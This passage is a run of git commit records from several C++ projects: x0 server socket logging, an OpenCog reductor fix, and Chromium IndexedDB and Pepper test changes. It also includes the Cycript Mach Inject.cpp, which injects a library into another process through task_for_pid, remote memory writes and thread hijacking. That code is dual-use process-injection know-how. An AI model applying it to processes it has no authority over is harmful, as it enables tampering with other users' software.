&saddr.sin6_addr, buf, sizeof(buf))) { localIP_ = buf; localPort_ = ntohs(saddr.sin6_port); } } break; } case AF_INET: { sockaddr_in saddr; socklen_t slen = sizeof(saddr); if (getsockname(fd_, (sockaddr *)&saddr, &slen) == 0) { char buf[128]; if (inet_ntop(AF_INET, &saddr.sin_addr, buf, sizeof(buf))) { localIP_ = buf; localPort_ = ntohs(saddr.sin_port); } } break; } default: break; } } } } // namespace x0 <commit_msg>[base] Socket: debug-print improvements<commit_after>/* <x0/Socket.cpp> * * This file is part of the x0 web server project and is released under LGPL-3. * http://www.xzero.ws/ * * (c) 2009-2010 Christian Parpart <trapni@gentoo.org> */ #include <x0/Socket.h> #include <x0/Buffer.h> #include <x0/BufferRef.h> #include <x0/Defines.h> #include <x0/StackTrace.h> #include <atomic> #include <fcntl.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <sys/sendfile.h> #include <unistd.h> #include <system_error> #if !defined(NDEBUG) # define TRACE(msg...) this->debug(msg) #else # define TRACE(msg...) ((void *)0) #endif #define ERROR(msg...) { \ TRACE(msg); \ TRACE("Stack Trace:\n%s", StackTrace().c_str()); \ } namespace x0 { Socket::Socket(struct ev_loop *loop, int fd, int af) : loop_(loop), fd_(fd), addressFamily_(af), watcher_(loop), timer_(loop), secure_(false), state_(Operational), mode_(None), tcpCork_(false), remoteIP_(), remotePort_(0), localIP_(), localPort_(), callback_(nullptr), callbackData_(0) { #ifndef NDEBUG debug(false); static std::atomic<unsigned long long> id(0); setLoggingPrefix("Socket(%d, %s:%d)", ++id, remoteIP().c_str(), remotePort()); #endif TRACE("created. fd:%d, local(%s:%d)", fd_, localIP().c_str(), localPort()); watcher_.set<Socket, &Socket::io>(this); timer_.set<Socket, &Socket::timeout>(this); } Socket::~Socket() { TRACE("destroying. fd:%d, local(%s:%d)", fd_, localIP().c_str(), localPort()); if (fd_ >= 0) ::close(fd_); } bool Socket::setNonBlocking(bool enabled) { if (enabled) return fcntl(fd_, F_SETFL, O_NONBLOCK) == 0; else return fcntl(fd_, F_SETFL, fcntl(fd_, F_GETFL) & ~O_NONBLOCK) == 0; } bool Socket::setTcpNoDelay(bool enable) { int flag = enable ? 1 : 0; return setsockopt(fd_, SOL_TCP, TCP_NODELAY, &flag, sizeof(flag)) == 0; } bool Socket::setTcpCork(bool enable) { #if defined(TCP_CORK) int flag = enable ? 1 : 0; bool rv = setsockopt(fd_, IPPROTO_TCP, TCP_CORK, &flag, sizeof(flag)) == 0; TRACE("setTcpCork: %d => %d", enable, rv); tcpCork_ = rv ? enable : false; return rv; #else return false; #endif } void Socket::setMode(Mode m) { static const char *ms[] = { "None", "Read", "Write", "ReadWrite" }; TRACE("setMode() %s -> %s", ms[static_cast<int>(mode_)], ms[static_cast<int>(m)]); if (m != mode_) { if (m != None) { TRACE("setMode: set flags"); watcher_.set(fd_, static_cast<int>(m)); if (mode_ == None && !watcher_.is_active()) { TRACE("setMode: start watcher"); watcher_.start(); } } else { TRACE("stop watcher and timer"); if (watcher_.is_active()) watcher_.stop(); if (timer_.is_active()) timer_.stop(); } mode_ = m; } } void Socket::clearReadyCallback() { callback_ = nullptr; callbackData_ = nullptr; } void Socket::close() { TRACE("close: fd=%d", fd_); if (fd_< 0) return; watcher_.stop(); timer_.stop(); ::close(fd_); fd_ = -1; } ssize_t Socket::read(Buffer& result) { ssize_t nread = 0; for (;;) { if (result.capacity() - result.size() < 256) result.reserve(result.size() * 1.5); ssize_t rv = ::read(fd_, result.end(), result.capacity() - result.size()); if (rv <= 0) { TRACE("read(): rv=%ld -> %ld: %s", rv, result.size(), strerror(errno)); return nread != 0 ? nread : rv; } else { TRACE("read() -> %ld", rv); nread += rv; result.resize(result.size() + rv); } } } ssize_t Socket::write(const void *buffer, size_t size) { #if 0 // !defined(NDEBUG) //TRACE("write('%s')", Buffer(buffer, size).c_str()); ssize_t rv = ::write(fd_, buffer, size); TRACE("write: %ld => %ld", size, rv); if (rv < 0 && errno != EINTR && errno != EAGAIN) ERROR("Socket(%d).write: error (%d): %s", fd_, errno, strerror(errno)); return rv; #else return ::write(fd_, buffer, size); #endif } ssize_t Socket::write(int fd, off_t *offset, size_t nbytes) { #if !defined(NDEBUG) //auto offset0 = *offset; ssize_t rv = ::sendfile(fd_, fd, offset, nbytes); //TRACE("write(fd=%d, offset=[%ld->%ld], nbytes=%ld) -> %ld", fd, offset0, *offset, nbytes, rv); if (rv < 0 && errno != EINTR && errno != EAGAIN) ERROR("Socket(%d).write(): sendfile: rv=%ld (%s)", fd_, rv, strerror(errno)); return rv; #else return ::sendfile(fd_, fd, offset, nbytes); #endif } void Socket::handshake(int /*revents*/) { // plain (unencrypted) TCP/IP sockets do not need an additional handshake } void Socket::io(ev::io& /*io*/, int revents) { //TRACE("io(revents=0x%04X): mode=%d", revents, mode_); timer_.stop(); if (state_ == Handshake) handshake(revents); else if (callback_) callback_(this, callbackData_, revents); } void Socket::timeout(ev::timer& timer, int revents) { TRACE("timeout(revents=0x%04X): mode=%d", revents, mode_); watcher_.stop(); if (timeoutCallback_) timeoutCallback_(this, timeoutData_); } std::string Socket::remoteIP() const { const_cast<Socket *>(this)->queryRemoteName(); return remoteIP_; } unsigned int Socket::remotePort() const { const_cast<Socket *>(this)->queryRemoteName(); return remotePort_; } void Socket::queryRemoteName() { if (remotePort_ || fd_ < 0) return; switch (addressFamily_) { case AF_INET6: { sockaddr_in6 saddr; socklen_t slen = sizeof(saddr); if (getpeername(fd_, (sockaddr *)&saddr, &slen) == 0) { char buf[128]; if (inet_ntop(AF_INET6, &saddr.sin6_addr, buf, sizeof(buf))) { remoteIP_ = buf; remotePort_ = ntohs(saddr.sin6_port); } } break; } case AF_INET: { sockaddr_in saddr; socklen_t slen = sizeof(saddr); if (getpeername(fd_, (sockaddr *)&saddr, &slen) == 0) { char buf[128]; if (inet_ntop(AF_INET, &saddr.sin_addr, buf, sizeof(buf))) { remoteIP_ = buf; remotePort_ = ntohs(saddr.sin_port); } } break; } default: break; } } std::string Socket::localIP() const { const_cast<Socket *>(this)->queryLocalName(); return localIP_; } unsigned int Socket::localPort() const { const_cast<Socket *>(this)->queryLocalName(); return localPort_; } void Socket::queryLocalName() { if (!localPort_ && fd_ >= 0) { switch (addressFamily_) { case AF_INET6: { sockaddr_in6 saddr; socklen_t slen = sizeof(saddr); if (getsockname(fd_, (sockaddr *)&saddr, &slen) == 0) { char buf[128]; if (inet_ntop(AF_INET6, &saddr.sin6_addr, buf, sizeof(buf))) { localIP_ = buf; localPort_ = ntohs(saddr.sin6_port); } } break; } case AF_INET: { sockaddr_in saddr; socklen_t slen = sizeof(saddr); if (getsockname(fd_, (sockaddr *)&saddr, &slen) == 0) { char buf[128]; if (inet_ntop(AF_INET, &saddr.sin_addr, buf, sizeof(buf))) { localIP_ = buf; localPort_ = ntohs(saddr.sin_port); } } break; } default: break; } } } } // namespace x0 <|endoftext|>
<commit_before>/* * opencog/comboreduct/main/interactive-reductor.cc * * Copyright (C) 2002-2008 Novamente LLC * All Rights Reserved * * Written by Nil Geisweiller * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License v3 as * published by the Free Software Foundation and including the exceptions * at http://opencog.org/wiki/Licenses * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program; if not, write to: * Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #include <opencog/comboreduct/reduct/reduct.h> #include <opencog/comboreduct/reduct/meta_rules.h> #include <opencog/comboreduct/reduct/logical_rules.h> #include <opencog/comboreduct/reduct/contin_rules.h> #include <opencog/comboreduct/combo/eval.h> #include <opencog/comboreduct/combo/type_tree.h> #include <iostream> #include <boost/assign/list_of.hpp> #include <opencog/util/mt19937ar.h> #include <opencog/comboreduct/ant_combo_vocabulary/ant_combo_vocabulary.h> using namespace std; using namespace ant_combo; using namespace reduct; using namespace opencog; using namespace boost::assign; typedef pair<rule*, string> rule_name_pair; typedef map<string, rule_name_pair> ref_rule_map; typedef ref_rule_map::const_iterator ref_rule_map_const_it; typedef ref_rule_map::iterator ref_rule_map_it; /** * Select the rule given its reference string * Returns a null pointer if no valid rule_ref_str or 'h' */ const rule* select_rule(string rule_ref_str) { const static ref_rule_map ref_rules = map_list_of //Logical rules ("IA", make_pair((rule*)new downwards(insert_ands()), "insert_ands")) ("RUJ", make_pair(new downwards(remove_unary_junctors()), "remove_unary_junctors")) ("RDJ", make_pair(new upwards(remove_dangling_junctors()), "remove_dangling_junctors")) ("ELI", make_pair(new upwards(eval_logical_identities()), "eval_logical_identities")) ("NOT", make_pair(new downwards(reduce_nots()), "reduce_nots")) ("OR", make_pair(new downwards(reduce_ors()), "reduce_ors")) ("AND", make_pair(new downwards(reduce_ands()), "reduce_ands")) ("ENF", make_pair(new downwards(subtree_to_enf()), "subtree_to_enf")) //Contin rules ("PZ", make_pair(new downwards(reduce_plus_zero()), "reduce_plus_zero")) ("TOZ", make_pair(new downwards(reduce_times_one_zero()), "reduce_times_one_zero")) ("FF", make_pair(new downwards(reduce_factorize_fraction()), "reduce_factorize_fraction")) ("F", make_pair(new downwards(reduce_factorize()), "reduce_factorize")) ("IC", make_pair(new downwards(reduce_invert_constant()), "reduce_invert_constant")) ("FR", make_pair(new downwards(reduce_fraction()), "reduce_fraction")) ("TD", make_pair(new downwards(reduce_times_div()), "reduce_times_div")) ("PTOC", make_pair(new downwards(reduce_plus_times_one_child()), "reduce_plus_times_one_child")) ("SL", make_pair(new downwards(reduce_sum_log()), "reduce_sum_log")) ("LDT", make_pair(new downwards(reduce_log_div_times()), "reduce_log_div_times")) ("ET", make_pair(new downwards(reduce_exp_div()), "reduce_exp_div")) ("SIN", make_pair(new downwards(reduce_sin()), "reduce_sin")); if(rule_ref_str == "h") { for(ref_rule_map_const_it cit = ref_rules.begin(); cit != ref_rules.end(); ++cit) { cout << cit->first << "\t" << cit->second.second << endl; } return NULL; } else { ref_rule_map_const_it res = ref_rules.find(rule_ref_str); if(res == ref_rules.end()) { cout << "Invalid rule (enter h for list of rules)" << endl; return NULL; } else { return res->second.first; } } } int main() { MT19937RandGen rng(1); combo_tree tr; string rule_ref_str; cout << "Enter the combo to reduce interactively:" << endl; while (cin.good()) { cin >> tr; if (!cin.good()) break; //determine the type of tr type_tree tr_type = infer_type_tree(tr); //cout << "Type : " << tr_type << endl; bool ct = is_well_formed(tr_type); if(!ct) { cout << "Bad type" << endl; break; } while (cin.good()) { cout << "Enter a rule to apply on the combo tree " << "(type h for the list of rules): "; cin >> rule_ref_str; if (!cin.good()) break; //returns a null pointer if no valid rule_ref_str or 'h' const rule* selected_rule = select_rule(rule_ref_str); if(selected_rule) { int ca = contin_arity(tr_type); int s = sample_count(ca); //produce random inputs RndNumTable rnt(s, ca, rng); //print rnt, for debugging //cout << "Rnd matrix :" << endl << rnt; try { //evalutate tr over rnt and fill mt1 //mixed_table mt1(tr, rnt, tr_type, rng); //print mt1, for debugging //cout << "MT1" << endl << mt1 << endl; //print the tree before reduction, for debugging //cout << "Before : " << tr << endl; (*selected_rule)(tr); //evaluate tr over rnt and fill mt2 //mixed_table mt2(tr, rnt, tr_type, rng); //print mt2, for debugging //cout << "MT2" << endl << mt2 << endl; cout << tr << endl; //if (mt1!=mt2) { // cout << mt1 << endl << mt2 << endl; // cerr << "mixed-tables don't match!" << endl; // return 1; //} } catch(EvalException& e) { cout << e.get_message() << " : " << e.get_vertex() << endl; } } } } return 0; } <commit_msg>fixed interactive-reductor.cc (ENF rule was called with downward rule)<commit_after>/* * opencog/comboreduct/main/interactive-reductor.cc * * Copyright (C) 2002-2008 Novamente LLC * All Rights Reserved * * Written by Nil Geisweiller * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License v3 as * published by the Free Software Foundation and including the exceptions * at http://opencog.org/wiki/Licenses * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program; if not, write to: * Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #include <opencog/comboreduct/reduct/reduct.h> #include <opencog/comboreduct/reduct/meta_rules.h> #include <opencog/comboreduct/reduct/logical_rules.h> #include <opencog/comboreduct/reduct/contin_rules.h> #include <opencog/comboreduct/combo/eval.h> #include <opencog/comboreduct/combo/type_tree.h> #include <iostream> #include <boost/assign/list_of.hpp> #include <opencog/util/mt19937ar.h> #include <opencog/comboreduct/ant_combo_vocabulary/ant_combo_vocabulary.h> using namespace std; using namespace ant_combo; using namespace reduct; using namespace opencog; using namespace boost::assign; typedef pair<rule*, string> rule_name_pair; typedef map<string, rule_name_pair> ref_rule_map; typedef ref_rule_map::const_iterator ref_rule_map_const_it; typedef ref_rule_map::iterator ref_rule_map_it; /** * Select the rule given its reference string * Returns a null pointer if no valid rule_ref_str or 'h' */ const rule* select_rule(string rule_ref_str) { const static ref_rule_map ref_rules = map_list_of //Logical rules ("IA", make_pair((rule*)new downwards(insert_ands()), "insert_ands")) ("RUJ", make_pair(new downwards(remove_unary_junctors()), "remove_unary_junctors")) ("RDJ", make_pair(new upwards(remove_dangling_junctors()), "remove_dangling_junctors")) ("ELI", make_pair(new upwards(eval_logical_identities()), "eval_logical_identities")) ("NOT", make_pair(new downwards(reduce_nots()), "reduce_nots")) ("OR", make_pair(new downwards(reduce_ors()), "reduce_ors")) ("AND", make_pair(new downwards(reduce_ands()), "reduce_ands")) ("ENF", make_pair(new subtree_to_enf(), "subtree_to_enf")) //Contin rules ("PZ", make_pair(new downwards(reduce_plus_zero()), "reduce_plus_zero")) ("TOZ", make_pair(new downwards(reduce_times_one_zero()), "reduce_times_one_zero")) ("FF", make_pair(new downwards(reduce_factorize_fraction()), "reduce_factorize_fraction")) ("F", make_pair(new downwards(reduce_factorize()), "reduce_factorize")) ("IC", make_pair(new downwards(reduce_invert_constant()), "reduce_invert_constant")) ("FR", make_pair(new downwards(reduce_fraction()), "reduce_fraction")) ("TD", make_pair(new downwards(reduce_times_div()), "reduce_times_div")) ("PTOC", make_pair(new downwards(reduce_plus_times_one_child()), "reduce_plus_times_one_child")) ("SL", make_pair(new downwards(reduce_sum_log()), "reduce_sum_log")) ("LDT", make_pair(new downwards(reduce_log_div_times()), "reduce_log_div_times")) ("ET", make_pair(new downwards(reduce_exp_div()), "reduce_exp_div")) ("SIN", make_pair(new downwards(reduce_sin()), "reduce_sin")); if(rule_ref_str == "h") { for(ref_rule_map_const_it cit = ref_rules.begin(); cit != ref_rules.end(); ++cit) { cout << cit->first << "\t" << cit->second.second << endl; } return NULL; } else { ref_rule_map_const_it res = ref_rules.find(rule_ref_str); if(res == ref_rules.end()) { cout << "Invalid rule (enter h for list of rules)" << endl; return NULL; } else { return res->second.first; } } } int main() { MT19937RandGen rng(1); combo_tree tr; string rule_ref_str; cout << "Enter the combo to reduce interactively:" << endl; while (cin.good()) { cin >> tr; if (!cin.good()) break; //determine the type of tr type_tree tr_type = infer_type_tree(tr); //cout << "Type : " << tr_type << endl; bool ct = is_well_formed(tr_type); if(!ct) { cout << "Bad type" << endl; break; } while (cin.good()) { cout << "Enter a rule to apply on the combo tree " << "(type h for the list of rules): "; cin >> rule_ref_str; if (!cin.good()) break; //returns a null pointer if no valid rule_ref_str or 'h' const rule* selected_rule = select_rule(rule_ref_str); if(selected_rule) { int ca = contin_arity(tr_type); int s = sample_count(ca); //produce random inputs RndNumTable rnt(s, ca, rng); //print rnt, for debugging //cout << "Rnd matrix :" << endl << rnt; try { //evalutate tr over rnt and fill mt1 //mixed_table mt1(tr, rnt, tr_type, rng); //print mt1, for debugging //cout << "MT1" << endl << mt1 << endl; //print the tree before reduction, for debugging //cout << "Before : " << tr << endl; (*selected_rule)(tr); //evaluate tr over rnt and fill mt2 //mixed_table mt2(tr, rnt, tr_type, rng); //print mt2, for debugging //cout << "MT2" << endl << mt2 << endl; cout << tr << endl; //if (mt1!=mt2) { // cout << mt1 << endl << mt2 << endl; // cerr << "mixed-tables don't match!" << endl; // return 1; //} } catch(EvalException& e) { cout << e.get_message() << " : " << e.get_vertex() << endl; } } } } return 0; } <|endoftext|>
<commit_before><commit_msg>Translate comments<commit_after><|endoftext|>
<commit_before>// Copyright (c) 2010 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/common/indexed_db_key.h" #include "base/logging.h" #include "third_party/WebKit/WebKit/chromium/public/WebString.h" using WebKit::WebIDBKey; IndexedDBKey::IndexedDBKey() : type_(WebIDBKey::InvalidType) { } IndexedDBKey::IndexedDBKey(const WebIDBKey& key) : type_(key.type()), string_(key.type() == WebIDBKey::StringType ? static_cast<string16>(key.string()) : string16()), number_(key.type() == WebIDBKey::NumberType ? key.number() : 0) { } void IndexedDBKey::SetNull() { type_ = WebIDBKey::NullType; } void IndexedDBKey::SetInvalid() { type_ = WebIDBKey::InvalidType; } void IndexedDBKey::Set(const string16& string) { type_ = WebIDBKey::StringType; string_ = string; } void IndexedDBKey::Set(int32_t number) { type_ = WebIDBKey::NumberType; number_ = number; } IndexedDBKey::operator WebIDBKey() const { switch (type_) { case WebIDBKey::NullType: return WebIDBKey::createNull(); case WebIDBKey::StringType: return WebIDBKey(string_); case WebIDBKey::NumberType: return WebIDBKey(number_); case WebIDBKey::InvalidType: return WebIDBKey::createInvalid(); } NOTREACHED(); return WebIDBKey::createInvalid(); } <commit_msg>Uninitialized member in IndexedDBKey.<commit_after>// Copyright (c) 2010 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/common/indexed_db_key.h" #include "base/logging.h" #include "third_party/WebKit/WebKit/chromium/public/WebString.h" using WebKit::WebIDBKey; IndexedDBKey::IndexedDBKey() : type_(WebIDBKey::InvalidType), number_(0) { } IndexedDBKey::IndexedDBKey(const WebIDBKey& key) : type_(key.type()), string_(key.type() == WebIDBKey::StringType ? static_cast<string16>(key.string()) : string16()), number_(key.type() == WebIDBKey::NumberType ? key.number() : 0) { } void IndexedDBKey::SetNull() { type_ = WebIDBKey::NullType; } void IndexedDBKey::SetInvalid() { type_ = WebIDBKey::InvalidType; } void IndexedDBKey::Set(const string16& string) { type_ = WebIDBKey::StringType; string_ = string; } void IndexedDBKey::Set(int32_t number) { type_ = WebIDBKey::NumberType; number_ = number; } IndexedDBKey::operator WebIDBKey() const { switch (type_) { case WebIDBKey::NullType: return WebIDBKey::createNull(); case WebIDBKey::StringType: return WebIDBKey(string_); case WebIDBKey::NumberType: return WebIDBKey(number_); case WebIDBKey::InvalidType: return WebIDBKey::createInvalid(); } NOTREACHED(); return WebIDBKey::createInvalid(); } <|endoftext|>
<commit_before>// Copyright (c) 2010 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/file_path.h" #include "chrome/common/chrome_switches.h" #include "chrome/test/ui/npapi_test_helper.h" #include "chrome/test/ui_test_utils.h" #if defined(OS_WIN) static const char kPepperTestPluginName[] = "npapi_pepper_test_plugin.dll"; #elif defined(OS_MACOSX) static const char kPepperTestPluginName[] = "npapi_pepper_test_plugin.plugin"; #elif defined(OS_LINUX) static const char kPepperTestPluginName[] = "libnpapi_pepper_test_plugin.so"; #endif using npapi_test::kTestCompleteCookie; using npapi_test::kTestCompleteSuccess; // Helper class pepper NPAPI tests. class PepperTester : public NPAPITesterBase { protected: PepperTester() : NPAPITesterBase(kPepperTestPluginName) {} virtual void SetUp() { // TODO(alokp): Remove no-sandbox flag once gpu plugin can run in sandbox. launch_arguments_.AppendSwitch(switches::kNoSandbox); launch_arguments_.AppendSwitch(switches::kInternalPepper); launch_arguments_.AppendSwitch(switches::kEnableGPUPlugin); NPAPITesterBase::SetUp(); } }; // Test that a pepper 3d plugin loads and renders. // TODO(alokp): Enable the test after making sure it works on all platforms // and buildbots have OpenGL support. #if defined(OS_WIN) TEST_F(PepperTester, FAILS_Pepper3D) { const FilePath dir(FILE_PATH_LITERAL("pepper")); const FilePath file(FILE_PATH_LITERAL("pepper_3d.html")); GURL url = ui_test_utils::GetTestUrl(dir, file); ASSERT_NO_FATAL_FAILURE(NavigateToURL(url)); WaitForFinish("pepper_3d", "1", url, kTestCompleteCookie, kTestCompleteSuccess, action_max_timeout_ms()); } #endif <commit_msg>Enabled pepper 3d test after fixing glsl translator. TBR=gman@chromium.org Review URL: http://codereview.chromium.org/2286001<commit_after>// Copyright (c) 2010 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/file_path.h" #include "chrome/common/chrome_switches.h" #include "chrome/test/ui/npapi_test_helper.h" #include "chrome/test/ui_test_utils.h" #if defined(OS_WIN) static const char kPepperTestPluginName[] = "npapi_pepper_test_plugin.dll"; #elif defined(OS_MACOSX) static const char kPepperTestPluginName[] = "npapi_pepper_test_plugin.plugin"; #elif defined(OS_LINUX) static const char kPepperTestPluginName[] = "libnpapi_pepper_test_plugin.so"; #endif using npapi_test::kTestCompleteCookie; using npapi_test::kTestCompleteSuccess; // Helper class pepper NPAPI tests. class PepperTester : public NPAPITesterBase { protected: PepperTester() : NPAPITesterBase(kPepperTestPluginName) {} virtual void SetUp() { // TODO(alokp): Remove no-sandbox flag once gpu plugin can run in sandbox. launch_arguments_.AppendSwitch(switches::kNoSandbox); launch_arguments_.AppendSwitch(switches::kInternalPepper); launch_arguments_.AppendSwitch(switches::kEnableGPUPlugin); NPAPITesterBase::SetUp(); } }; // Test that a pepper 3d plugin loads and renders. // TODO(alokp): Enable the test after making sure it works on all platforms // and buildbots have OpenGL support. #if defined(OS_WIN) TEST_F(PepperTester, Pepper3D) { const FilePath dir(FILE_PATH_LITERAL("pepper")); const FilePath file(FILE_PATH_LITERAL("pepper_3d.html")); GURL url = ui_test_utils::GetTestUrl(dir, file); ASSERT_NO_FATAL_FAILURE(NavigateToURL(url)); WaitForFinish("pepper_3d", "1", url, kTestCompleteCookie, kTestCompleteSuccess, action_max_timeout_ms()); } #endif <|endoftext|>
<commit_before>/* Cycript - Inlining/Optimizing JavaScript Compiler * Copyright (C) 2009 Jay Freeman (saurik) */ /* Modified BSD License {{{ */ /* * Redistribution and use in source and binary * forms, with or without modification, are permitted * provided that the following conditions are met: * * 1. Redistributions of source code must retain the * above copyright notice, this list of conditions * and the following disclaimer. * 2. Redistributions in binary form must reproduce the * above copyright notice, this list of conditions * and the following disclaimer in the documentation * and/or other materials provided with the * distribution. * 3. The name of the author may not be used to endorse * or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* }}} */ #include <dlfcn.h> #include <mach/mach.h> #include <mach/i386/thread_status.h> #include <cstdio> #include <pthread.h> #include <unistd.h> #include "Baton.hpp" #include "Exception.hpp" #include "Pooling.hpp" #include "Trampoline.t.hpp" extern "C" void __pthread_set_self(pthread_t); void InjectLibrary(pid_t pid) { // DOUG: turn this into some kind of -D passed from configure const char *library("/usr/lib/libcycript.dylib"); static const size_t Stack_(8 * 1024); size_t length(strlen(library) + 1), depth(sizeof(Baton) + length); depth = (depth + sizeof(uintptr_t) + 1) / sizeof(uintptr_t) * sizeof(uintptr_t); CYPool pool; uint8_t *local(reinterpret_cast<uint8_t *>(apr_palloc(pool, depth))); Baton *baton(reinterpret_cast<Baton *>(local)); baton->__pthread_set_self = &__pthread_set_self; baton->pthread_create = &pthread_create; baton->pthread_join = &pthread_join; baton->dlopen = &dlopen; baton->dlsym = &dlsym; baton->mach_thread_self = &mach_thread_self; baton->thread_terminate = &thread_terminate; baton->pid = getpid(); memcpy(baton->library, library, length); vm_size_t size(depth + Stack_); mach_port_t self(mach_task_self()), task; _krncall(task_for_pid(self, pid, &task)); vm_address_t stack; _krncall(vm_allocate(task, &stack, size, true)); vm_address_t data(stack + Stack_); vm_write(task, data, reinterpret_cast<vm_address_t>(baton), depth); thread_act_t thread; _krncall(thread_create(task, &thread)); thread_state_flavor_t flavor; mach_msg_type_number_t count; size_t push; Trampoline *trampoline; #if defined(__arm__) trampoline = &Trampoline_arm_; arm_thread_state_t state; flavor = ARM_THREAD_STATE; count = ARM_THREAD_STATE_COUNT; push = 0; #elif defined(__i386__) trampoline = &Trampoline_i386_; i386_thread_state_t state; flavor = i386_THREAD_STATE; count = i386_THREAD_STATE_COUNT; push = 5; #elif defined(__x86_64__) trampoline = &Trampoline_x86_64_; x86_thread_state64_t state; flavor = x86_THREAD_STATE64; count = x86_THREAD_STATE64_COUNT; push = 2; #else #error XXX: implement #endif vm_address_t code; _krncall(vm_allocate(task, &code, trampoline->size_, true)); vm_write(task, code, reinterpret_cast<vm_address_t>(trampoline->data_), trampoline->size_); _krncall(vm_protect(task, code, trampoline->size_, false, VM_PROT_READ | VM_PROT_EXECUTE)); printf("_ptss:%p\n", baton->__pthread_set_self); printf("dlsym:%p\n", baton->dlsym); printf("code:%zx\n", (size_t) code); uint32_t frame[push]; if (sizeof(frame) != 0) memset(frame, 0, sizeof(frame)); memset(&state, 0, sizeof(state)); mach_msg_type_number_t read(count); _krncall(thread_get_state(thread, flavor, reinterpret_cast<thread_state_t>(&state), &read)); _assert(count == count); #if defined(__arm__) state.r[0] = data; state.sp = stack + Stack_; state.pc = code + trampoline->entry_; if ((state.pc & 0x1) != 0) { state.pc &= ~0x1; state.cpsr |= 0x20; } #elif defined(__i386__) frame[1] = data; state.__eip = code + trampoline->entry_; state.__esp = stack + Stack_ - sizeof(frame); #elif defined(__x86_64__) frame[0] = 0xdeadbeef; state.__rdi = data; state.__rip = code + trampoline->entry_; state.__rsp = stack + Stack_ - sizeof(frame); #else #error XXX: implement #endif if (sizeof(frame) != 0) vm_write(task, stack + Stack_ - sizeof(frame), reinterpret_cast<vm_address_t>(frame), sizeof(frame)); _krncall(thread_set_state(thread, flavor, reinterpret_cast<thread_state_t>(&state), count)); _krncall(thread_resume(thread)); _krncall(mach_port_deallocate(self, task)); } <commit_msg>Remove debugging garbage from Mach/Inject.<commit_after>/* Cycript - Inlining/Optimizing JavaScript Compiler * Copyright (C) 2009 Jay Freeman (saurik) */ /* Modified BSD License {{{ */ /* * Redistribution and use in source and binary * forms, with or without modification, are permitted * provided that the following conditions are met: * * 1. Redistributions of source code must retain the * above copyright notice, this list of conditions * and the following disclaimer. * 2. Redistributions in binary form must reproduce the * above copyright notice, this list of conditions * and the following disclaimer in the documentation * and/or other materials provided with the * distribution. * 3. The name of the author may not be used to endorse * or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* }}} */ #include <dlfcn.h> #include <mach/mach.h> #include <mach/i386/thread_status.h> #include <cstdio> #include <pthread.h> #include <unistd.h> #include "Baton.hpp" #include "Exception.hpp" #include "Pooling.hpp" #include "Trampoline.t.hpp" extern "C" void __pthread_set_self(pthread_t); void InjectLibrary(pid_t pid) { // DOUG: turn this into some kind of -D passed from configure const char *library("/usr/lib/libcycript.dylib"); static const size_t Stack_(8 * 1024); size_t length(strlen(library) + 1), depth(sizeof(Baton) + length); depth = (depth + sizeof(uintptr_t) + 1) / sizeof(uintptr_t) * sizeof(uintptr_t); CYPool pool; uint8_t *local(reinterpret_cast<uint8_t *>(apr_palloc(pool, depth))); Baton *baton(reinterpret_cast<Baton *>(local)); baton->__pthread_set_self = &__pthread_set_self; baton->pthread_create = &pthread_create; baton->pthread_join = &pthread_join; baton->dlopen = &dlopen; baton->dlsym = &dlsym; baton->mach_thread_self = &mach_thread_self; baton->thread_terminate = &thread_terminate; 